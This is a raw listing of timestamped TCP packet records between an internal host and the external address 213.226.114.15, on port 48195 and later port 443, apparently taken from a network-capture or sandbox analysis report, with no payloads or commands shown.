Jun 16, 2022 20:32:28.480993032 CEST	48195	49873	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:28.576628923 CEST	48195	49873	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:28.576662064 CEST	48195	49873	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:28.576900005 CEST	49873	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:28.699790955 CEST	49873	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:28.762357950 CEST	48195	49873	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:29.074315071 CEST	49875	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:29.135533094 CEST	48195	49875	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:29.135704994 CEST	49875	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:29.877003908 CEST	49875	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:29.980947018 CEST	48195	49875	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.108809948 CEST	48195	49875	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.108899117 CEST	49875	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.108948946 CEST	49875	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.169913054 CEST	48195	49875	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.285109997 CEST	49877	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.345328093 CEST	48195	49877	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.345419884 CEST	49877	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.345601082 CEST	49877	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.446605921 CEST	48195	49877	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.571371078 CEST	48195	49877	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.571393013 CEST	48195	49877	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.571497917 CEST	49877	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.573045969 CEST	49877	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.633219957 CEST	48195	49877	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.760391951 CEST	49880	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.821521044 CEST	48195	49880	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:30.821665049 CEST	49880	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.821877956 CEST	49880	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:30.925178051 CEST	48195	49880	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.048096895 CEST	48195	49880	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.048245907 CEST	49880	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.050360918 CEST	49880	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.111488104 CEST	48195	49880	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.254298925 CEST	49882	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.314596891 CEST	48195	49882	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.314753056 CEST	49882	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.315263987 CEST	49882	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.415643930 CEST	48195	49882	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.529675007 CEST	48195	49882	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.529829025 CEST	49882	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.529869080 CEST	49882	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.590362072 CEST	48195	49882	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.705120087 CEST	49884	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.766205072 CEST	48195	49884	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.766345024 CEST	49884	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.766496897 CEST	49884	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.868952990 CEST	48195	49884	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.973606110 CEST	48195	49884	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.973654032 CEST	48195	49884	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:31.973774910 CEST	49884	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:31.973813057 CEST	49884	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.035092115 CEST	48195	49884	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.139210939 CEST	49886	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.201637983 CEST	48195	49886	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.201821089 CEST	49886	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.201956987 CEST	49886	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.305224895 CEST	48195	49886	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.427290916 CEST	48195	49886	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.427375078 CEST	48195	49886	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.427510023 CEST	49886	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.433206081 CEST	49886	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.495858908 CEST	48195	49886	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.603018999 CEST	49887	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.665452003 CEST	48195	49887	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.665644884 CEST	49887	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.667603970 CEST	49887	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.772906065 CEST	48195	49887	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.872289896 CEST	48195	49887	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:32.872793913 CEST	49887	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.872840881 CEST	49887	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:32.934860945 CEST	48195	49887	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.055321932 CEST	49888	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.115431070 CEST	48195	49888	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.115639925 CEST	49888	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.115849018 CEST	49888	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.219075918 CEST	48195	49888	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.328777075 CEST	48195	49888	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.328900099 CEST	49888	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.328936100 CEST	49888	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.389389038 CEST	48195	49888	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.507850885 CEST	49889	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.568753004 CEST	48195	49889	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.568844080 CEST	49889	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.569108963 CEST	49889	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.671894073 CEST	48195	49889	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.800802946 CEST	48195	49889	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.805588961 CEST	49889	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.805668116 CEST	49889	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:33.866678953 CEST	48195	49889	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:33.989769936 CEST	49891	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.051136017 CEST	48195	49891	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.052359104 CEST	49891	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.052495956 CEST	49891	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.156045914 CEST	48195	49891	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.298608065 CEST	48195	49891	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.298645020 CEST	48195	49891	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.298794031 CEST	49891	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.298830986 CEST	49891	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.360300064 CEST	48195	49891	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.567673922 CEST	49892	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.629638910 CEST	48195	49892	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.630043030 CEST	49892	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.630176067 CEST	49892	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.733011007 CEST	48195	49892	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.864223003 CEST	48195	49892	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:34.864348888 CEST	49892	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.868830919 CEST	49892	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:34.930861950 CEST	48195	49892	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.054167986 CEST	49893	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.114171982 CEST	48195	49893	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.114283085 CEST	49893	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.114439964 CEST	49893	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.216327906 CEST	48195	49893	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.317403078 CEST	48195	49893	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.317512035 CEST	49893	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.317564964 CEST	49893	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.378597021 CEST	48195	49893	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.489587069 CEST	49894	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.549813032 CEST	48195	49894	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.549921989 CEST	49894	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.550050020 CEST	49894	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.650886059 CEST	48195	49894	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.782027006 CEST	48195	49894	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.782126904 CEST	49894	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.782193899 CEST	49894	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:35.842415094 CEST	48195	49894	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:35.998490095 CEST	49895	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:36.057879925 CEST	48195	49895	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:36.058259964 CEST	49895	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:36.058283091 CEST	49895	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:36.158652067 CEST	48195	49895	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:38.187947989 CEST	49899	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:38.188007116 CEST	443	49899	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:38.188117027 CEST	49899	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:38.188901901 CEST	49899	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:38.188976049 CEST	443	49899	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:38.189049006 CEST	49899	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:38.918728113 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:38.918755054 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:38.918843985 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:38.945497036 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:38.945549965 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.120944023 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.121054888 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.155632019 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.155668020 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.156267881 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.156378984 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.164859056 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.208499908 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.272028923 CEST	48195	49895	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.272128105 CEST	49895	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.272231102 CEST	49895	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.275475025 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.275537014 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.275589943 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.275613070 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.275631905 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.275676966 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.331063986 CEST	48195	49895	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.335736990 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.335865974 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.335901022 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.335978985 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.361516953 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.361578941 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.361676931 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.361705065 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.361748934 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.361795902 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.396116972 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.396200895 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.396255970 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.396276951 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.396296978 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.396318913 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.396711111 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.396765947 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.396792889 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.396806955 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.396828890 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.396846056 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.412192106 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.412257910 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.412322044 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.412357092 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.412375927 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.413028002 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.447732925 CEST	49901	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.456793070 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.456850052 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.456912041 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.456929922 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.456948042 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.458039045 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.458067894 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.458091021 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.458111048 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.458112955 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.458165884 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.458175898 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.459321976 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.459372044 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.459414005 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.459429026 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.459448099 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.459466934 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.460917950 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.460967064 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.461005926 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.461019039 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.461107969 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.461213112 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.462100029 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.462151051 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.462193966 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.462208033 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.462235928 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.462255001 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.473031998 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.473087072 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.473138094 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.473149061 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.473238945 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.473244905 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.482530117 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.482587099 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.482630014 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.482645035 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.482662916 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.482692957 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.509706974 CEST	48195	49901	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.509888887 CEST	49901	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.510076046 CEST	49901	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.517061949 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.517152071 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.517163992 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.517185926 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.517227888 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.517256975 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.517844915 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.517898083 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.517936945 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.517955065 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.518026114 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.518034935 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.522284031 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.522341967 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.522387028 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.522406101 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.522420883 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.522433996 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.522478104 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.524189949 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.524267912 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.524297953 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.524313927 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.524332047 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.524349928 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.525836945 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.525871992 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.525933981 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.525942087 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.525975943 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.525995970 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.526686907 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.526720047 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.526782990 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.526789904 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.526813030 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.526843071 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.535130024 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.535178900 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.535224915 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.535237074 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.535264015 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.535284996 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.543114901 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.543153048 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.543271065 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.543282032 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.543323994 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.543344975 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.578047991 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.578078985 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.578131914 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.578154087 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.578171968 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.578195095 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.582289934 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.582317114 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.582380056 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.582400084 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.582413912 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.582465887 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.589489937 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.589519024 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.589572906 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.589586020 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.589607000 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.589629889 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.589998960 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.590028048 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.590066910 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.590080976 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.590094090 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.590118885 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.591424942 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.591450930 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.591515064 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.591527939 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.591541052 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.591634035 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.593329906 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.593396902 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.593430042 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.593502998 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.602132082 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.602168083 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.602236986 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.602247953 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.602327108 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.604931116 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.605004072 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.605014086 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.605019093 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.605037928 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.605108023 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.605144024 CEST	49900	443	192.168.2.3	213.226.114.15
